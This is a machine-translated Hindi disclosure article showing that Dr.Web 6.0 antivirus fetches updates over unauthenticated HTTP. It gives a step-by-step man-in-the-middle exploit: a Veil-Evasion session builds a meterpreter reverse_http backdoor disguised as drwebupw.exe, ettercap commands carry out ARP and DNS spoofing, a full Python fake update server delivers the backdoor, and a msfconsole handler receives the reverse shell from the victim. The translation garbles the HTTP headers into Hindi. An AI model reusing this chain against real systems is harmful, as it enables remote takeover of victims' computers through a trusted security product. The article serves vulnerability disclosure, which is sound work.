DrWeb अद्यतन प्रक्रिया में भेद्यता को उजागर करना

इस लेख में मैं Dr.Web एंटी-वायरस में अपडेट प्रोटोकॉल की समस्याओं के बारे में अधिक विस्तार से बात करना चाहता हूं, जिसके लिए, यातायात अवरोधन के मामले में, एंटी-वायरस घटकों को प्रतिस्थापित करना और मनमाना कोड निष्पादित करना संभव हो जाता है। मैंने पहली बार ब्रेकिंग एंटीवायरस सॉफ़्टवेयर (जोक्सियन कोरेट) की प्रस्तुति में SyScan2014 सम्मेलन की सामग्रियों में भेद्यता जानकारी देखी, और तब से चूंकि भेद्यता पहले से ही ज्ञात है, इसलिए किसी अन्य प्रकाशन में बहुत अधिक समझदारी नहीं थी। कम से कम एक क्षण तक।



लेख की चर्चा में " रूसी रेलवे के भुगतान गेटवे पर लगभग 70,000 कार्ड से डेटा समझौता किया गया था", मैं कुछ पाठकों की प्रतिक्रिया से वास्तव में आश्चर्यचकित था, और संभवतः डॉ। वेब के कर्मचारियों में से एक था, जिन्होंने समस्याओं को स्वीकार करने से इनकार कर दिया था। इसलिए, स्वयं विवरणों का पता लगाने का निर्णय लिया गया, और ऑपरेशन की संभावना की भी जांच की गई। मुझे उम्मीद है कि यह प्रकाशन स्थिति के शुरुआती सुधार में योगदान देगा।

स्रोत डेटा:

Dr.Web संस्करण 6.0 को "प्रयोगात्मक" के रूप में चुना गया था, क्योंकि इसमें कई प्रमाण पत्र हैं: FSTEC, FSB और रूसी संघ के रक्षा मंत्रालय। शेष संस्करणों पर विचार नहीं किया गया था, इसलिए शायद उनके पास समान समस्याएं हैं, लेकिन शायद नहीं। प्रयोग के दौरान, सभी एंटीवायरस सेटिंग्स डिफ़ॉल्ट रूप से सेट की गईं, अंतर्निहित सुरक्षा अक्षम नहीं थी। ऑपरेटिंग सिस्टम विंडोज 7 का उपयोग करता है।







भेद्यता का फायदा उठाने के लिए, हमलावर के लिए उपयोगकर्ता ट्रैफ़िक को पुनर्निर्देशित करने में सक्षम होना आवश्यक है (उदाहरण के लिए, DNS सर्वर स्पूफिंग, ARP कैश विषाक्तता, या कुछ और के कारण)। प्रयोग की सादगी के लिए, एक परीक्षण वातावरण में, क्लाइंट और हमलावर कंप्यूटर एक ही नेटवर्क पर हैं:

भेद्यता विवरण

अपने सर्वर से अपडेट डाउनलोड करने के लिए, Dr.Web http प्रोटोकॉल का उपयोग करता है, अर्थात। डेटा स्पष्ट पाठ में प्रसारित किया जाता है।



प्रक्रिया निम्नलिखित अनुक्रम में की जाती है:

1. टाइमस्टैम्प अनुरोध - टाइमस्टैम्प
   
   
   अनुरोध उदाहरण

   GET / x64 / 600 / av / विंडोज़ / टाइमस्टैम्प
   
   HTTP / 1.1 स्वीकार करें: * / *
   
   होस्ट: update.drweb.com
   
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   
   X-DrWeb-KeyNumber: 0110258647
   
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   
   उपयोगकर्ता-एजेंट: DrWebUpdate-6.00.15.06220 (विंडोज़: 6.01.7601)
   
   कनेक्शन: कीप-अलाइव
   
   कैश-कंट्रोल: नो-कैश
   
   
   
   HTTP / 1.1 200 ठीक है
   
   सर्वर: nginx / 42 दिनांक: शनि, 19 अप्रैल 2014 10:33:36 GMT
   
   सामग्री-प्रकार: आवेदन / ओकटेट-धारा
   
   सामग्री-लंबाई: 10
   
   अंतिम-संशोधित: Sat, 19 अप्रैल 2014 09:26:19 GMT
   
   कनेक्शन: जीवित रखें
   
   स्वीकार-रंग: बाइट्स
   
   
   
   1397898695
   
   
   
   
   
2. अतिरिक्त जानकारी का अनुरोध (एंटीवायरस और कुछ अन्य डेटा का वर्तमान संस्करण) - drweb32.flg फ़ाइल
   
   
   अनुरोध उदाहरण

   GET /x64/600/av/windows/drweb32.flg HTTP / 1.1
   
   स्वीकार करें: * / *
   
   होस्ट: update.drweb.com
   
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   
   X-DrWeb-KeyNumber: 0110258647
   
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   
   उपयोगकर्ता-एजेंट: DrWebUpdate-6.00.15.06220 (विंडोज़: 6.01.7601)
   
   कनेक्शन: कीप-अलाइव
   
   कैश-कंट्रोल: नो-कैश
   
   
   
   HTTP / 1.1 200 ठीक है
   
   सर्वर: nginx / 42 दिनांक: शनि, 19 अप्रैल 2014 10:33:37 GMT
   
   सामग्री-प्रकार: आवेदन / ओकटेट-धारा
   
   सामग्री-लंबाई: 336 अंतिम-संशोधित: बुध, 23 जनवरी 2013 09:42:21 GMT
   
   कनेक्शन: जीवित रखें
   
   स्वीकार-रंग: बाइट्स [विंडोज़]
   
   
   
   LinkNews = http: //news.drweb.com/flag+800/
   
   LinkDownload = http: //download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
   
   फ़ाइलनाम =
   
   isTime = १
   
   TimeX = 1420122293
   
   cmdLine =
   
   टाइप = 1
   
   बहिष्कृत = 2k | xp64
   
   बहिष्कृत करना = जा
   
   बहिष्कृत = 17 | 1041 |
   
   [हस्ताक्षर]
   
   हस्ताक्षर = 7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077
   
   
   
   
   
3. अद्यतन सिस्टम घटकों की सूची के लिए अनुरोध करें - drweb32.lst.lzma फ़ाइल
   
   
   अनुरोध उदाहरण

   GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1
   
   स्वीकार करें: * / *
   
   होस्ट: update.drweb.com
   
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   
   X-DrWeb-KeyNumber: 0110258647
   
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   
   उपयोगकर्ता-एजेंट: DrWebUpdate-6.00.15.06220 (विंडोज़: 6.01.7601)
   
   कनेक्शन: की-अलाइव कैश-कंट्रोल: नो-कैश
   
   
   
   HTTP / 1.1 200 ठीक है
   
   सर्वर: nginx / 42
   
   दिनांक: शनि, १ ९ अप्रैल २०१४ 10:33:39 GMT
   
   सामग्री-प्रकार: आवेदन / ओकटेट-धारा
   
   सामग्री-लंबाई: 2373
   
   अंतिम-संशोधित: Sat, 19 अप्रैल 2014 10:23:08 GMT
   
   कनेक्शन: जीवित रखें
   
   स्वीकार-रंग: बाइट्स
   
   
   
   ] ..... # .......-।
   
   ..x.3..x। । ** .. सी ....... डी। ... एक्स। 7..वीबी। * पी] सी ... <.... ^।, 2.सी। ....? (, .. .. * ... sA.U.pM .., ....... hG .... j। * ............. F ...: ..! Z ..... h ..} ... (Y1k .....} ... F ..-.... J ........ ...। ....... | ... 3।; ..... 5 .. "... SK`)
   
   .Kjx $, .... u.5 .. ~।} UX.E ... (अन्य डेटा छोड़ा गया)
   
   
   
   
   अनुरोधित फ़ाइल lzma एल्गोरिथ्म (7-ज़िप में प्रयुक्त) द्वारा संपीड़ित एक संग्रह है। अनपैक करने के बाद, फ़ाइल स्वयं कुछ इस तरह दिखती है:
   
   

   [DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F … +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A ... [DrWebUpdateListEnd]
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   फ़ाइल नामों के आगे हेक्साडेसिमल मान crc32 एल्गोरिथ्म द्वारा गणना की गई फ़ाइलों के चेकसम हैं। इस स्थिति में, फ़ाइलों के "संस्करण" को बनाए रखने के लिए चेकसम का उपयोग किया जाता है।
   
   आप यह भी देख सकते हैं कि अपडेट तंत्र पर्यावरण चर जैसे% CommonProgramFiles%,% SYSDIR64%, आदि का उपयोग कर सकता है। - यानी फ़ाइलें न केवल Dr.Web फ़ोल्डर में अपलोड की जा सकती हैं, बल्कि अन्य सिस्टम निर्देशिकाओं में भी
   
   
   
   
4. फ़ाइलें डाउनलोड करें
   
   
   उदाहरण का अनुरोध करें

   GET / x86/600/av/windows/dwrtoday.vdb HTTP / 1.1
   
   स्वीकार करें: * / *
   
   होस्ट: update.drweb.com
   
   X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
   
   X-DrWeb-KeyNumber: 0110242389
   
   X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D9090FF
   
   उपयोगकर्ता-एजेंट: DrWebUpdate-6.00.15.06220 (विंडोज़: 6.01.7600)
   
   कनेक्शन: कीप-अलाइव
   
   कैश-कंट्रोल: नो-कैश
   
   
   
   HTTP / 1.1 200 ठीक है
   
   सर्वर: nginx / 42
   
   दिनांक: शनि, 19 अप्रैल 2014 02:02:36 GMT
   
   सामग्री-प्रकार: आवेदन / ओकटेट-धारा
   
   सामग्री-लंबाई: 5712
   
   अंतिम-संशोधित: Sat, 19 अप्रैल 2014 01:31:32 GMT
   
   कनेक्शन: जीवित रखें
   
   स्वीकार-रंग: बाइट्स
   
   
   
   Dr.Web® संस्करण 4.20+ एंटी-वायरस डेटाबेस
   
   कॉपीराइट © इगोर Daniloff द्वारा, 1998-2014
   
   डॉक्टर वेब एंटी-वायरस लैब्स, सेंट पीटर्सबर्ग द्वारा बनाया गया
   
   IDRW4 ... CR / .U .._। C..9G। ~ \ J .... 6G ....} u ... y $ _naykP ... x ......... .. ह ... ................ जे ..... क्यूएस ................ other .. (अन्य डेटा छोड़ा गया )
   
   
   
   
   इस घटना में कि प्राप्त अद्यतन सूची से फ़ाइलों के चेकसम का उपयोग किए गए लोगों से भिन्न होता है, तो ग्राहक मौजूदा एक पैच का अनुरोध करता है:
   
   

    GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   यदि पैच प्राप्त नहीं किया जा सकता है या फ़ाइल पहले सिस्टम में नहीं थी, तो पूरी नई फ़ाइल के लिए एक अनुरोध किया गया है:
   
   

    GET /x64/600/av/windows/drwebupw.exe
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   अपडेट की गई फाइलें भी बिना किसी चेक के, स्पष्ट पाठ में, या केवल पैकेज्ड लज़मा में आती हैं।
   
   
   
   
5. फ़ाइल अद्यतन
   
   फ़ाइलों को डाउनलोड करने की प्रक्रिया के बाद, पुराने को बदल दिया जाता है। हालांकि, अतिरिक्त जांच भी नहीं की जाती है। उदाहरण के लिए, जैसा कि बाद में दिखाया जाएगा, Dr.Web ने देशी drwebupw.exe के बजाय समस्याओं के बिना metasplit से उत्पन्न पेलोड को स्वीकार किया।
   
   

वह मूल रूप से यह है। जैसा कि आप देख सकते हैं, अपडेट की मौलिकता पर कोई जांच नहीं की गई है और आप एक मित्म हमले का संचालन करने और फाइलों को अपने दम पर बदलने की कोशिश कर सकते हैं।

शोषण

1. हम अपने स्वयं के पिछले दरवाजे बनाते हैं, जिसे क्लाइंट कंप्यूटर पर निष्पादित किया जाएगा और हमलावर को नियंत्रण स्थानांतरित कर दिया जाएगा। ऐसा करने के लिए, आप Metasploit फ्रेमवर्क प्रोजेक्ट से Metpreter लोड का उपयोग कर सकते हैं, वैकल्पिक रूप से एंटीवायरस को बायपास करने के लिए Veil-Evasion के माध्यम से छोड़ सकते हैं। आउटपुट drwebupw.exe है, जो बाद में अपडेट के दौरान मूल क्लाइंट एंटीवायरस घटक को बदल देगा।
   
   
   पिछले दरवाजे की निर्माण प्रक्रिया (c / मीटरपरेटर / Rev_http)

    ========================================================================= Veil-Evasion | [Version]: 2.7.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= Main Menu 29 payloads loaded Available commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil [>] Please enter a command: list [*] Available payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper 3) c/meterpreter/rev_http 4) c/meterpreter/rev_http_service 5) c/meterpreter/rev_tcp 6) c/meterpreter/rev_tcp_service 7) c/shellcode_inject/virtual 8) c/shellcode_inject/void 9) cs/meterpreter/rev_tcp 10) cs/shellcode_inject/base64_substitution 11) cs/shellcode_inject/virtual 12) native/Hyperion 13) native/backdoor_factory 14) native/pe_scrambler 15) powershell/shellcode_inject/download_virtual 16) powershell/shellcode_inject/psexec_virtual 17) powershell/shellcode_inject/virtual 18) python/meterpreter/rev_http 19) python/meterpreter/rev_http_contained 20) python/meterpreter/rev_https 21) python/meterpreter/rev_https_contained 22) python/meterpreter/rev_tcp 23) python/shellcode_inject/aes_encrypt 24) python/shellcode_inject/arc_encrypt 25) python/shellcode_inject/base64_substitution 26) python/shellcode_inject/des_encrypt 27) python/shellcode_inject/flat 28) python/shellcode_inject/letter_substitution 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST 10.0.1.106 [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   
   
   
2. अर्प-स्पूफिंग का उपयोग करते हुए, हम हमलावर के मेजबान के लिए ग्राहक अनुरोधों को पुनर्निर्देशित करते हैं। Ettercap उपयोगिता और dns_spoof मॉड्यूल को उपकरण के रूप में उपयोग किया जा सकता है। Dr.Web को ettercap पुनर्निर्देशन सूची में अद्यतन करने के लिए उपयोग किए जाने वाले होस्ट जोड़ें। सिद्धांत रूप में, एक update.geo.drweb.com पता पर्याप्त है (क्योंकि यह पहले जांचा गया है):
   
   

    echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   इसके बाद, हम arp कैश पॉइज़निंग शुरू करते हैं और सीधे स्पूफिंग प्रक्रिया को समाप्त करते हैं:
   
   

    ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   इस प्रकार, ऑपरेशन के बाद का ट्रैफ़िक निम्न योजना के अनुसार जाएगा:
   
   
   
   
   
   
   
   
   
   
3. हम क्लाइंट के लिए विशेष रूप से तैयार फ़ाइल जारी करने के लिए Dr.Web अपडेट सर्वर का अनुकरण करते हैं। इसके लिए एक छोटी सी स्क्रिप्ट लिखी गई थी, जो:
   
   
   1. आने वाले कनेक्शन को स्वीकार करता है
   2. टाइमस्टैम्प बनाता है और टाइमस्टैम्प अनुरोध का जवाब देता है
   3. अतिरिक्त जानकारी drweb32.flg के साथ एक फ़ाइल बनाता है
   4. अद्यतनों की सूची के साथ एक फ़ाइल बनाता है और इसे lzma drweb32.lst.lzma संग्रह में पैक करता है
   5. क्लाइंट के अनुरोध पर नकली अपडेट देता है
   
   
   
   drweb_http_server.py

    #!/usr/bin/python #encoding: utf-8 import SocketServer import SimpleHTTPServer import time import lzma import os import binascii from struct import * from subprocess import call #  http    Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if 'timestamp' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('timestamp').read()) elif 'drweb32.flg' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.flg').read()) elif 'drweb32.lst.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.lst.lzma').read()) elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read()) #      , #     -    elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response(404) self.end_headers() else: print self.path def CRC32_from_file(filename): buf = open(filename,'rb').read() buf = (binascii.crc32(buf) & 0xFFFFFFFF) return "%08X" % buf def create_timestamp_file(): with open('timestamp','w') as f: f.write('%s'%int(time.time())) def create_lst_file(upload_filename,upload_path): # upload_path  : #  ,         Dr.Web #    <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\  .. crc32 = CRC32_from_file(upload_filename) with open('drweb32.lst','w') as f: f.write('[DrWebUpdateList]\n') f.write('[500]\n') f.write('+%s, %s\n' % (upload_path+upload_filename,crc32)) f.write('[DrWebUpdateListEnd]\n') # -    Linux  lzma         #   Dr.Web   ,    def edit_file_size(lzma_filename,orig_filename): file_size = os.stat(orig_filename).st_size with open(lzma_filename,'r+b') as f: f.seek(5) bsize = pack('l',file_size) f.write(bsize) #         UPLOAD_FILENAME = 'drwebupw.exe' #   create_timestamp_file() #     ,    lzma    create_lst_file(UPLOAD_FILENAME,'') call(['lzma', '-k', '-f','drweb32.lst']) edit_file_size('drweb32.lst.lzma','drweb32.lst') #     call(['lzma', '-k', '-f',UPLOAD_FILENAME]) edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME) print 'Http Server started...' httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler) httpServer.serve_forever()
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   
   
   
   लॉन्च होने पर, स्क्रिप्ट कनेक्शन स्वीकार करना शुरू कर देगी और अद्यतन अनुरोध के जवाब में drwebupw.exe फ़ाइल के लिए एक नकली अपडेट जारी करेगी।
   
   

    python drweb_http_server.py Http Server started... 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   क्लाइंट इसे सफलतापूर्वक स्वीकार करेगा और मूल घटक को अधिलेखित करेगा:
   
   
   
   
   
   
   
   
   
   
4. पिछले दरवाजे से कनेक्शन हैंडलर चलाएं:
   
   

    $ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(handler) > set LHOST 10.0.1.106 LHOST => 10.0.1.106 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > run [*] Started HTTP reverse handler on http://10.0.1.106:8080/ [*] Starting the payload handler...
         
         
   
           
           
           
         
   
       
           
           
           
         
         
   
           
           
           
         
   
       
        

   
   
   
   
   यदि सब कुछ ठीक रहा, तो अगली बार जब आप अपडेट करने का प्रयास करेंगे, तो क्लाइंट से एक कनेक्शन आएगा:
   
   
   
   
   
   
   
   
   
   इस पर, हम मान सकते हैं कि क्लाइंट होस्ट से समझौता किया गया है - हमें फ़ाइल सिस्टम तक पहुंच प्राप्त हुई, किसी भी कमांड को निष्पादित करने की क्षमता आदि। इतना अनाड़ी रूप से कार्य करना संभव था, लेकिन केवल कुछ एंटीवायरस कार्यक्षमता को बदलना और इस तरह लंबे समय तक अदृश्य रहना।
   
   

निष्कर्ष

जैसा कि ऊपर दिखाया गया है, Dr.Web 6 में भेद्यता वास्तव में मौजूद है और इस तरह के हमलों का मुकाबला स्थितियों में बहुत अच्छी तरह से लागू किया जा सकता है। तो यह विकास कंपनी पर एक शांत नज़र के लिए उम्मीद है। मैं प्रमाणीकरण की वास्तविक बेकारता के बारे में नहीं लिखूंगा, यह पहले से ही एक से अधिक बार चर्चा कर चुका है।